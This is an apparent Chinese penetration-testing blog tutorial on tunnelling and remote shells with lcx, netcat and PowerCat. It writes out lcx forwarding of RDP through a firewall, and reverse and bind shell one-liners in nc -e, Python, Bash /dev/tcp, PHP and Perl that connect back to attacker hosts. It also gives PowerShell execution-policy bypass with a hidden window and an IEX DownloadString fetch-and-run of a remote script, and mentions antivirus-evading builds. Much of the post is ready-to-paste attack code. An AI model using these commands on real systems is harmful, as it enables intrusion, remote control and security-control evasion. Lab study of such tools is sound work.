有勇气的牛排博客

传输层隧道技术 netcat PowerCat

有勇气的牛排 955 网络安全 2021-10-13 14:03:15

介绍

传输层技术包括TCP隧道、UDP隧道和常规端口转发等。

如果内网防火墙阻止了对指定端口的访问,在会的目标主机机器的权限后,可以使用iptables打开指定端口。

如果内网中存在一系列防御系统,TCP、UDP流量会被大量拦截。

第1个版本:(感觉有后门或者什么漏洞 使用起来怪怪的) https://github.com/Brucetg/Pentest-tools 第2个版本: https://github.com/UndefinedIdentifier/LCX 来源:https://zhuanlan.zhihu.com/p/166027768

这2个版本会在连接成功登录的时候,报错

1 Icx端口转发

Icl是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。

有一个弊端只能windows公网服务器可以使用。

windows:lcx.exe

linux:portmap

一个正常的Socket隧道必须具备两端:

一端为服务端:监听一个端口,等待客户端连接。

另一端为客户端:通过传入服务端ip地址和端口,才能主动与服务器连接。

1.1 内网端口转发

测试时被360拦截,可以用面杀版本

环境:

公网vps(linux):192.168.56.22

内网主机win10:192.168.56.6

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网vps4444端口上。

lcx.exe -slave <公网主机ip地址> 4444 127.0.0.1 3389

lcx.exe -slave 192.168.56.6 4444 127.0.0.1 3389

vps上执行如下命令,将本机4444端口上监听的所有数据转发到5555端口上

lcx.exe -listen 4444 5555

此时,用mstsc登录公网主机ip地址:5555,或者在vps上用mstsc登录主机127.0.0.1:5555端口,即可访问目标主机的3389端口

本地端口映射:如3389的数据无法从防火墙通过,可以将目标服务器相应的

端口数据传到防火墙允许的其他端口(例如53)

icx -tran 53 <目标主机ip地址> 3389

2 netcat

Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能

cat功能是读取一个文件的内容输出到屏幕上

netstat也是,从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)

查看安装:nc-help man nc

2.1 安装

kali

sudo yum install nc.x96_64

还有wget方法

kali自带

2.2 使用

2.2.1 帮助

└─$ nc -h [v1.10-46] 连接到某处:nc [-options] 主机名 port[s] [ports] ... 监听入站:nc -l -p port [-options] [hostname] [port] 选项: -c shell 命令为‘-e’;使用 /bin/sh 来执行 [危险!!] -e 文件名程序在连接后执行 [危险!!] -b 允许广播 -g 网关源路由跳点[s],最多 8 个 -G num 源路由指针:4, 8, 12, ... -h 这个垃圾 -i secs 发送线路的延迟间隔,扫描的端口 -k 在套接字上设置 keepalive 选项 -l 监听模式,用于入站连接 -n 仅数字 IP 地址,无 DNS -o -p port 本地端口号 -r 随机化本地和远程端口 -q secs 在标准输入 EOF 后退出并延迟 secs -s addr 本地源地址 -T tos 设置服务类型 -t 回答 TELNET 协商 -u UDP 模式 -v verbose [使用两次更详细] -w secs 连接和最终网络读取超时 -C 发送 CRLF 作为行尾 -z 零 I/O 模式 [用于扫描] 端口号可以是单独的或范围:lo-hi [inclusive]; 端口名称中的连字符必须用反斜杠转义(例如“ftp\-data”)。

2.2.2 连接远程主机

nc -nvv 121.5.173.9 80

netcat连接远程主机

2.2.3 扫描指定端口

nc -v 192.168.56.22 22

netcat扫描指定端口

2.2.4 扫描某段端口

nc -v -z 192.168.56.22 20-8089

netcat扫描某段端口

2.2.5 扫描指定主机的某个UDP端口段,并且返回端口信息

nc -v -z -u 192.168.56.22 20-8089

netcat扫描指定主机的某个UDP端口段,并且返回端口信息

2.2.6 扫描指定主机端口段信息,并且设置超时时间为3秒

nc -vv -z -w 3 192.168.56.22 20-30

扫描指定主机端口段信息,并且设置超时时间为3秒

2.2.7 监听端口

nc -l -p local_port
nc -l -p 80

这里直接浏览器请求

netcat监听端口

2.2.8 FTP匿名探测

nc 192.168.56.22 21

2.2.9 文件传输

传输端

nc 192.168.56.22 8080 < test.txt

接收端

nc 192.168.56.22 8080 < QQ.apk

2.2.10 简易聊天

目标机

nc 192.168.56.22 8888

本机kali

nc -l 8888

netcat简易聊天

2.3 获取shell

2.3.1 获取正向Shell

定义:客户端连接服务器,客户想获取服务器的shell

监听目标主机4444端口

linux

nc -lvp 4444 -e /bin/sh

windows

nc -lvp 4444 -e c:\windows\system32\cmd.exe

输入下面命令,连接目标主机4444端口

nc 192.168.56.22 4444

netcat获取正向Shell

2.3.2 反向Shell

定义:服务器想要获取客户端的Shell

在本地或者VPS主机上监听本地9999端口

nc -lvp 9999

在目标主机中输入,连接VPS主机的9999端口

nc 192.168.56.22 9999 -e /bin/sh # Linux nc 192.168.56.22 9999 -e c:\windows\system32\cmd.exe # Windows

netcat反向Shell

2.4 目标机没有nc时反弹shell

2.4.1 Pyhton反向Shell

在VPS/攻击者自己的服务器上,监听2222端口

nc -lvp 2222

目标机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.3",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

netcat Pyhton反向Shell

2.4.2 Bash反向Shell

在VPS/攻击者自己的服务器上(公网ip),监听6666端口

nc -lvp 6666

目标机

bash -i>&/dev/tcp/192.168.56.3/6666 0>&1

netcat Bash反向Shell

2.4.3 PHP 反向Shell

在VPS/攻击者自己的服务器上(公网ip),监听6666端口

nc -lvp 6666

目标机

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

2.4.4 Perl反向Shell

在VPS/攻击者自己的服务器上(公网ip),监听6666端口

nc -lvp 6666

目标机

如果目标主机使用的Perl语言,则可以使用

perl -e 'use Socket;$i="192.168.56.3";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl反向Shell

这里目标机实在CentOS上测试的,说明支持Perl

3 PowerCat

PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。

据说,不会留下任何痕迹。

-c:指定一个ip地址

-p:指定一个端口

-v:显示详情

-l:监听模式,用于入站连接

-p:本地端口号

-e:程序重定向

-v:显示详情

3.1 下载

https://github.com/besimorhino/powercat

3.2 执行脚本

get-executionpolicy

Restricted——默认的设置,不允许任何script运行

AllSigned——-只能运行经过数字证书签名的script

RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名

Unrestricted—-允许所有的script运行

要运行脚本,策略必须为Unrestricted

直接执行的话,肯定权限不够

3.2.1 本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File powercat.ps1

3.2.2 本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden -File powercat.ps1

此项会报错,

3.2.3用IEX下载远程ps1脚本绕过

IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.6:8888/powercat.ps1')

成功:执行完没有任何提示

3.3 socket通信

kali

nc -l -p 8888 -vv

目标机

powercat -c 192.168.56.3 -p 8888 -v

socket通信

3.4 获取shell

3.4.1 正向连接

也就是让目标机开放一个外部可连接的端口,好干事

目标机

powercat -l -p 8888 -e cmd.exe -v

kali

netcat -vv 192.168.56.6 8888

powershell正向连接

成功返回一个cmd命令行

3.4.2 反向连接

kali

netcat -l -p 8888 -v

目标机

powercat -c 192.168.56.3 -p 8888 -e cmd.exe

powershell反向连接

3.5 返回一个powershell

环境:两台windows

目标机

powercat -l -p 9999 -v

监听机

powercat -c 192.168.56.6 -p 9999 -ep

-eq:返回powershell

3.6 文件上传

服务端

powercat -l -p 9999 -of ./666.txt -v

接收端

powercat -c 192.168.56.6 -p 9999 -i c:666.txt -v

留言

专栏
文章
加入群聊